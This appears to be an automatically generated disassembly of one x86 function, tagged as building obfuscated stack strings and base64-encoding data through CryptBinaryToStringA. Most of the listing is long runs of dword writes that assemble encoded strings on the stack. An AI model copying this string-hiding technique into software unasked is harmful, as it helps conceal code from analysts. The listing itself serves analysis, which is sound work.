Function at 0x100592a4
Capabilities:
Contain obfuscated stackstrings
Encode data using base64 via winapi

Disassembly:
push 0x364
mov eax, 0x1008d387
call fcn.1005ede7
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x14]
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
push eax
push 0
push 0x40000001
push dword [ebx]
push edi
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov ecx, esi
test eax, eax
jne 0x100592e6
call fcn.10052e27
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1005a104
push dword [ebp - 0x14]
call fcn.10053381
lea ecx, [ebp - 0x14]
push ecx
push eax
push 0x40000001
push dword [ebx]
push edi
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov ecx, esi
test eax, eax
jne 0x10059312
push 0xffffffffffffffff
call fcn.10056ea1
mov ecx, esi
jmp 0x100592d6
push dword [ebp - 0x14]
call fcn.10059015
push dword [0x10127750]
xor ebx, ebx
mov dword [ebp - 0xe4], 0x6d316b57
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
mov dword [ebp - 0xe0], 0x30425461
lea eax, [ebp - 0x1d]
mov dword [ebp - 0xdc], 0x7977784a
mov dword [ebp - 0xd8], 0x30595141
push dword [ebp - 0x18]
mov dword [ebp - 0xd4], 0x4c416761
push eax
mov dword [ebp - 0xd0], 0x454d5346
lea eax, [ebp - 0xe4]
mov dword [ebp - 0xcc], 0x52597a4b
mov dword [ebp - 0xc8], 0x4f45694c
mov dword [ebp - 0xc4], 0x3841694c
mov dword [ebp - 0xc0], 0x43634141
mov dword [ebp - 0xbc], 0x41307962
mov dword [ebp - 0xb8], 0x474d5443
mov dword [ebp - 0xb4], 0x32705444
mov dword [ebp - 0xb0], 0x706c6759
mov dword [ebp - 0xac], 0x4d346e4d
mov dword [ebp - 0xa8], 0x4541784a
mov dword [ebp - 0xa4], 0x35345249
mov dword [ebp - 0xa0], 0x6c593362
mov dword [ebp - 0x9c], 0x306c4141
mov dword [ebp - 0x98], 0x6a38774e
mov dword [ebp - 0x94], 0x2f45414a
mov dword [ebp - 0x90], 0x69594245
mov dword [ebp - 0x8c], 0x4b6f6e4d
mov dword [ebp - 0x88], 0x79517948
mov dword [ebp - 0x84], 0x6d4d6a59
mov dword [ebp - 0x80], 0x70305263
mov dword [ebp - 0x7c], 0x47346e41
mov dword [ebp - 0x78], 0x346b7947
mov dword [ebp - 0x74], 0x68647748
mov dword [ebp - 0x70], 0x7a705443
mov dword [ebp - 0x6c], 0x6334534f
mov dword [ebp - 0x68], 0x50417847
mov dword [ebp - 0x64], 0x71495445
mov dword [ebp - 0x60], 0x4f305459
mov dword [ebp - 0x5c], 0x34784348
mov dword [ebp - 0x58], 0x6951774b
mov dword [ebp - 0x54], 0x6d414343
mov dword [ebp - 0x50], 0x54385444
mov dword [ebp - 0x4c], 0x76354241
mov dword [ebp - 0x48], 0x6f4d4843
mov dword [ebp - 0x44], 0x6d52544e
mov dword [ebp - 0x40], 0x76554846
mov dword [ebp - 0x3c], 0x716f4846
mov dword [ebp - 0x38], 0x4f635365
mov dword [ebp - 0x34], 0x42736e49
mov dword [ebp - 0x30], 0x2f494449
mov dword [ebp - 0x2c], 0x5a63674e
mov dword [ebp - 0x28], 0x43496e61
mov dword [ebp - 0x24], 0x4141674e
mov word [ebp - 0x20], 0x4941
mov byte [ebp - 0x1e], 0x38
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1004f7d5
lea eax, [ebp - 0x34c]
push eax
call fcn.10052979
add esp, 0x10
mov ecx, eax
mov dword [ebp - 4], ebx
call fcn.1005c5aa
push eax
mov ecx, esi
call fcn.10056ef9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34c]
call fcn.1005c3f0
cmp dword [ebp + 0x14], ebx
je 0x1005a102
mov dword [ebp - 0xf8], 0x54516e63
mov dword [ebp - 0xf4], 0x4c596e4c
mov dword [ebp - 0xf0], 0x4e6b6a4d
mov dword [ebp - 0xec], 0x70355859
mov dword [ebp - 0xe8], 0x6c773347
mov dword [ebp - 0xe4], 0x5941414a
mov dword [ebp - 0xe0], 0x3130684c
mov dword [ebp - 0xdc], 0x6b63534d
mov dword [ebp - 0xd8], 0x476f6962
mov dword [ebp - 0xd4], 0x55346e63
mov dword [ebp - 0xd0], 0x68386944
mov dword [ebp - 0xcc], 0x7a67674e
mov dword [ebp - 0xc8], 0x44775449
mov dword [ebp - 0xc4], 0x68457759
mov dword [ebp - 0xc0], 0x6549774a
mov dword [ebp - 0xbc], 0x61456850
mov dword [ebp - 0xb8], 0x3259474d
mov dword [ebp - 0xb4], 0x2b30524e
mov dword [ebp - 0xb0], 0x6f4a6e4c
mov dword [ebp - 0xac], 0x536f6e4a
mov dword [ebp - 0xa8], 0x4e4d4459
mov dword [ebp - 0xa4], 0x6e556e4b
mov dword [ebp - 0xa0], 0x794d7859
mov dword [ebp - 0x9c], 0x38737746
mov dword [ebp - 0x98], 0x2f303361
mov dword [ebp - 0x94], 0x7a49424a
mov dword [ebp - 0x90], 0x6b687a4d
mov dword [ebp - 0x8c], 0x6e776942
mov dword [ebp - 0x88], 0x53414859
mov dword [ebp - 0x84], 0x646f7943
mov dword [ebp - 0x80], 0x6e30514e
mov dword [ebp - 0x7c], 0x374d774e
mov dword [ebp - 0x78], 0x70744446
mov dword [ebp - 0x74], 0x7949694d
mov dword [ebp - 0x70], 0x6c734142
mov dword [ebp - 0x6c], 0x5a304444
mov dword [ebp - 0x68], 0x71304261
mov dword [ebp - 0x64], 0x55774145
mov dword [ebp - 0x60], 0x3749434e
mov dword [ebp - 0x5c], 0x36465246
mov dword [ebp - 0x58], 0x5138774f
mov dword [ebp - 0x54], 0x42497a45
mov dword [ebp - 0x50], 0x77646949
mov dword [ebp - 0x4c], 0x69735762
mov dword [ebp - 0x48], 0x4634514e
mov dword [ebp - 0x44], 0x71593243
mov dword [ebp - 0x40], 0x67306844
mov dword [ebp - 0x3c], 0x484d5344
mov dword [ebp - 0x38], 0x364d7a47
mov dword [ebp - 0x34], 0x2b6b4245
mov dword [ebp - 0x30], 0x65307844
mov dword [ebp - 0x2c], 0x67346946
mov dword [ebp - 0x28], 0x534d6d47
mov dword [ebp - 0x24], 0x44776741
mov dword [ebp - 0x20], 0x41414141
mov word [ebp - 0x1c], 0x776e
mov dword [ebp - 0x1e4], 0x46776761
mov dword [ebp - 0x1e0], 0x324e424b
mov dword [ebp - 0x1dc], 0x31317759
mov dword [ebp - 0x1d8], 0x7a497847
mov dword [ebp - 0x1d4], 0x4b735446
mov dword [ebp - 0x1d0], 0x79424349
mov dword [ebp - 0x1cc], 0x44514341
mov dword [ebp - 0x1c8], 0x66516a47
mov dword [ebp - 0x1c4], 0x6651544a
mov dword [ebp - 0x1c0], 0x79516863
mov dword [ebp - 0x1bc], 0x6b307941
mov dword [ebp - 0x1b8], 0x6c595346
mov dword [ebp - 0x1b4], 0x4f497745
mov dword [ebp - 0x1b0], 0x2b517742
mov dword [ebp - 0x1ac], 0x39705447
mov dword [ebp - 0x1a8], 0x3863434d
mov dword [ebp - 0x1a4], 0x66737949
mov dword [ebp - 0x1a0], 0x49306744
mov dword [ebp - 0x19c], 0x4d346744
mov dword [ebp - 0x198], 0x35427945
mov dword [ebp - 0x194], 0x68415250
mov dword [ebp - 0x190], 0x62557959
mov dword [ebp - 0x18c], 0x7751515a
mov dword [ebp - 0x188], 0x75417746
mov dword [ebp - 0x184], 0x5a387759
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
mov dword [ebp - 0x180], 0x41345445
lea eax, [ebp - 0x1a]
mov dword [ebp - 0x17c], 0x52515746
mov dword [ebp - 0x178], 0x444d514c
push dword [ebp - 0x18]
mov dword [ebp - 0x174], 0x59635845
push eax
mov dword [ebp - 0x170], 0x7a34694c
lea eax, [ebp - 0xf8]
mov dword [ebp - 0x16c], 0x38384846
mov dword [ebp - 0x168], 0x4b73794e
mov dword [ebp - 0x164], 0x77425447
mov dword [ebp - 0x160], 0x7a46545a
mov dword [ebp - 0x15c], 0x37646945
mov dword [ebp - 0x158], 0x49456d48
mov dword [ebp - 0x154], 0x35777850
mov dword [ebp - 0x150], 0x65386844
mov dword [ebp - 0x14c], 0x75645848
mov dword [ebp - 0x148], 0x6451424c
mov dword [ebp - 0x144], 0x32635444
mov dword [ebp - 0x140], 0x33425448
mov dword [ebp - 0x13c], 0x74595744
mov dword [ebp - 0x138], 0x4a733241
mov dword [ebp - 0x134], 0x5a6b6e48
mov dword [ebp - 0x130], 0x2b524149
mov dword [ebp - 0x12c], 0x584d5748
mov dword [ebp - 0x128], 0x6c677949
mov dword [ebp - 0x124], 0x4e497a47
mov dword [ebp - 0x120], 0x63304344
mov dword [ebp - 0x11c], 0x69704745
mov dword [ebp - 0x118], 0x63557743
mov dword [ebp - 0x114], 0x574d524f
mov dword [ebp - 0x110], 0x2b41534d
mov dword [ebp - 0x10c], 0x56457959
mov dword [ebp - 0x108], 0x4e4d4463
mov dword [ebp - 0x104], 0x43515150
mov dword [ebp - 0x100], 0x41414141
mov word [ebp - 0xfc], 0x6771
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1004f7d5
lea eax, [ebp - 0x358]
push eax
call fcn.10052979
add esp, 0x10
mov ecx, eax
mov dword [ebp - 4], 1
call fcn.1005c5aa
push eax
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
lea eax, [ebp - 0xfa]
push dword [ebp - 0x18]
mov dword [ecx], ebx
push eax
lea eax, [ebp - 0x1e4]
mov dword [ecx + 4], ebx
push eax
mov dword [ecx + 8], ebx
call fcn.1004f7d5
lea eax, [ebp - 0x34c]
push eax
call fcn.10052979
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.1005c5aa
push eax
mov ecx, esi
call fcn.10056ef9
lea ecx, [ebp - 0x34c]
call fcn.1005c3f0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x358]
call fcn.1005c3f0
mov dword [ebp - 0x20c], 0x52556e63
mov dword [ebp - 0x208], 0x61495146
mov dword [ebp - 0x204], 0x6a633244
mov dword [ebp - 0x200], 0x77554747
mov dword [ebp - 0x1fc], 0x684d6946
mov dword [ebp - 0x1f8], 0x3746414d
mov dword [ebp - 0x1f4], 0x65516944
mov dword [ebp - 0x1f0], 0x644d5441
mov dword [ebp - 0x1ec], 0x72515259
mov dword [ebp - 0x1e8], 0x76344846
mov dword [ebp - 0x1e4], 0x6a567748
mov dword [ebp - 0x1e0], 0x7a677944
mov dword [ebp - 0x1dc], 0x52455449
mov dword [ebp - 0x1d8], 0x46497747
mov dword [ebp - 0x1d4], 0x30316a48
mov dword [ebp - 0x1d0], 0x4f494450
mov dword [ebp - 0x1cc], 0x554d4366
mov dword [ebp - 0x1c8], 0x45515350
mov dword [ebp - 0x1c4], 0x4234334a
mov dword [ebp - 0x1c0], 0x4b385848
mov dword [ebp - 0x1bc], 0x434d4259
mov dword [ebp - 0x1b8], 0x7a344244
mov dword [ebp - 0x1b4], 0x6d455162
mov dword [ebp - 0x1b0], 0x32424741
mov dword [ebp - 0x1ac], 0x42417a42
mov dword [ebp - 0x1a8], 0x374a3244
mov dword [ebp - 0x1a4], 0x5749574d
mov dword [ebp - 0x1a0], 0x7177524c
mov dword [ebp - 0x19c], 0x70347748
mov dword [ebp - 0x198], 0x5473784d
mov dword [ebp - 0x194], 0x3741434f
mov dword [ebp - 0x190], 0x32466a44
mov dword [ebp - 0x18c], 0x67496a42
mov dword [ebp - 0x188], 0x6a597843
mov dword [ebp - 0x184], 0x314e6e48
mov dword [ebp - 0x180], 0x7163674e
mov dword [ebp - 0x17c], 0x32554761
mov dword [ebp - 0x178], 0x35317a48
mov dword [ebp - 0x174], 0x4a635441
mov dword [ebp - 0x170], 0x6e4d6945
mov dword [ebp - 0x16c], 0x6b70534c
mov dword [ebp - 0x168], 0x61637949
mov dword [ebp - 0x164], 0x7a4d474f
mov dword [ebp - 0x160], 0x32417959
mov dword [ebp - 0x15c], 0x345a7747
mov dword [ebp - 0x158], 0x6e514141
mov dword [ebp - 0x154], 0x4255774c
mov dword [ebp - 0x150], 0x70554261
mov dword [ebp - 0x14c], 0x50736d4a
mov dword [ebp - 0x148], 0x554d4445
mov dword [ebp - 0x144], 0x45456a4a
mov dword [ebp - 0x140], 0x4751334c
mov dword [ebp - 0x13c], 0x7a415745
mov dword [ebp - 0x138], 0x4b73474f
mov dword [ebp - 0x134], 0x3434675a
mov dword [ebp - 0x130], 0x424d5442
mov dword [ebp - 0x12c], 0x4763684c
mov dword [ebp - 0x128], 0x4a515344
mov dword [ebp - 0x124], 0x4b6b7762
mov dword [ebp - 0x120], 0x716b484d
mov dword [ebp - 0x11c], 0x6d306748
mov dword [ebp - 0x118], 0x3241584c
mov dword [ebp - 0x114], 0x33464362
mov dword [ebp - 0x110], 0x4e634450
mov dword [ebp - 0x10c], 0x63556850
mov dword [ebp - 0x108], 0x2f527a43
mov dword [ebp - 0x104], 0x4867444a
mov dword [ebp - 0x100], 0x41414141
mov word [ebp - 0xfc], 0x6778
mov dword [ebp - 0x298], 0x79594465
mov dword [ebp - 0x294], 0x43595450
mov dword [ebp - 0x290], 0x4e517944
mov dword [ebp - 0x28c], 0x6551514c
mov dword [ebp - 0x288], 0x4a49774a
mov dword [ebp - 0x284], 0x355a4750
mov dword [ebp - 0x280], 0x36344241
mov dword [ebp - 0x27c], 0x37527749
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
mov dword [ebp - 0x278], 0x7963545a
lea eax, [ebp - 0xfa]
mov dword [ebp - 0x274], 0x456b784c
mov dword [ebp - 0x270], 0x63345841
push dword [ebp - 0x18]
mov dword [ebp - 0x26c], 0x7741584c
push eax
mov dword [ebp - 0x268], 0x41455448
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x264], 0x55777859
mov dword [ebp - 0x260], 0x3449484f
mov dword [ebp - 0x25c], 0x4e457a50
mov dword [ebp - 0x258], 0x41385249
mov dword [ebp - 0x254], 0x78414141
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1004f7d5
lea eax, [ebp - 0x34c]
push eax
call fcn.10052979
add esp, 0x10
mov ecx, eax
mov dword [ebp - 4], 3
call fcn.1005c5aa
push eax
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
lea eax, [ebp - 0x250]
push dword [ebp - 0x18]
mov dword [ecx], ebx
push eax
lea eax, [ebp - 0x298]
mov dword [ecx + 4], ebx
push eax
mov dword [ecx + 8], ebx
call fcn.1004f7d5
lea eax, [ebp - 0x358]
push eax
call fcn.10052979
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.1005c5aa
push eax
mov ecx, esi
call fcn.10056ef9
lea ecx, [ebp - 0x358]
call fcn.1005c3f0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34c]
call fcn.1005c3f0
mov dword [ebp - 0x340], 0x56556e63
mov dword [ebp - 0x33c], 0x56494849
mov dword [ebp - 0x338], 0x67416a4d
mov dword [ebp - 0x334], 0x6c555150
mov dword [ebp - 0x330], 0x45777a49
mov dword [ebp - 0x32c], 0x6d356743
mov dword [ebp - 0x328], 0x4638424e
mov dword [ebp - 0x324], 0x374a6e42
mov dword [ebp - 0x320], 0x6f555241
mov dword [ebp - 0x31c], 0x37356e47
mov dword [ebp - 0x318], 0x32496a44
mov dword [ebp - 0x314], 0x79516849
mov dword [ebp - 0x310], 0x4934415a
mov dword [ebp - 0x30c], 0x564d7950
mov dword [ebp - 0x308], 0x4a557849
mov dword [ebp - 0x304], 0x6877434b
mov dword [ebp - 0x300], 0x6c467849
mov dword [ebp - 0x2fc], 0x694d334c
mov dword [ebp - 0x2f8], 0x36414245
mov dword [ebp - 0x2f4], 0x736b4449
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
mov dword [ebp - 0x2f0], 0x566b415a
lea eax, [ebp - 0x299]
mov dword [ebp - 0x2ec], 0x616b7a62
mov dword [ebp - 0x2e8], 0x2b41574f
push dword [ebp - 0x18]
mov dword [ebp - 0x2e4], 0x536f4762
push eax
mov dword [ebp - 0x2e0], 0x34674248
lea eax, [ebp - 0x340]
mov dword [ebp - 0x2dc], 0x37777741
mov dword [ebp - 0x2d8], 0x6d517a4d
mov dword [ebp - 0x2d4], 0x2b317a4e
mov dword [ebp - 0x2d0], 0x6a49444a
mov dword [ebp - 0x2cc], 0x6f384242
mov dword [ebp - 0x2c8], 0x32307a5a
mov dword [ebp - 0x2c4], 0x6c63674e
mov dword [ebp - 0x2c0], 0x48595449
mov dword [ebp - 0x2bc], 0x70427759
mov dword [ebp - 0x2b8], 0x6977514d
mov dword [ebp - 0x2b4], 0x37514449
mov dword [ebp - 0x2b0], 0x72386a47
mov dword [ebp - 0x2ac], 0x79777861
mov dword [ebp - 0x2a8], 0x3145674a
mov dword [ebp - 0x2a4], 0x4b773363
mov dword [ebp - 0x2a0], 0x41415150
mov word [ebp - 0x29c], 0x4841
mov byte [ebp - 0x29a], 0x59
mov dword [ebp - 0x250], 0x6e494266
mov dword [ebp - 0x24c], 0x794d784f
mov dword [ebp - 0x248], 0x30454145
mov dword [ebp - 0x244], 0x58496942
mov dword [ebp - 0x240], 0x39355342
mov dword [ebp - 0x23c], 0x4238474b
mov dword [ebp - 0x238], 0x33456d41
mov dword [ebp - 0x234], 0x62774250
mov dword [ebp - 0x230], 0x7678534d
mov dword [ebp - 0x22c], 0x7a5a4145
mov dword [ebp - 0x228], 0x67396a49
mov dword [ebp - 0x224], 0x49496849
mov dword [ebp - 0x220], 0x58417747
mov dword [ebp - 0x21c], 0x524d4750
mov dword [ebp - 0x218], 0x3168424e
mov dword [ebp - 0x214], 0x41414141
mov word [ebp - 0x210], 0x414c
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1004f7d5
lea eax, [ebp - 0x370]
push eax
call fcn.10052979
add esp, 0x10
mov ecx, eax
mov dword [ebp - 4], 5
call fcn.1005c5aa
push eax
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
lea eax, [ebp - 0x20e]
push dword [ebp - 0x18]
mov dword [ecx], ebx
push eax
lea eax, [ebp - 0x250]
mov dword [ecx + 4], ebx
push eax
mov dword [ecx + 8], ebx
call fcn.1004f7d5
lea eax, [ebp - 0x364]
push eax
call fcn.10052979
add esp, 0x10
mov byte [ebp - 4], 6
mov ecx, eax
call fcn.1005c5aa
push eax
mov ecx, esi
call fcn.10056ef9
lea ecx, [ebp - 0x364]
call fcn.1005c3f0
lea ecx, [ebp - 0x370]
call fcn.1005c3f0
xor eax, eax
call fcn.1005ed91
ret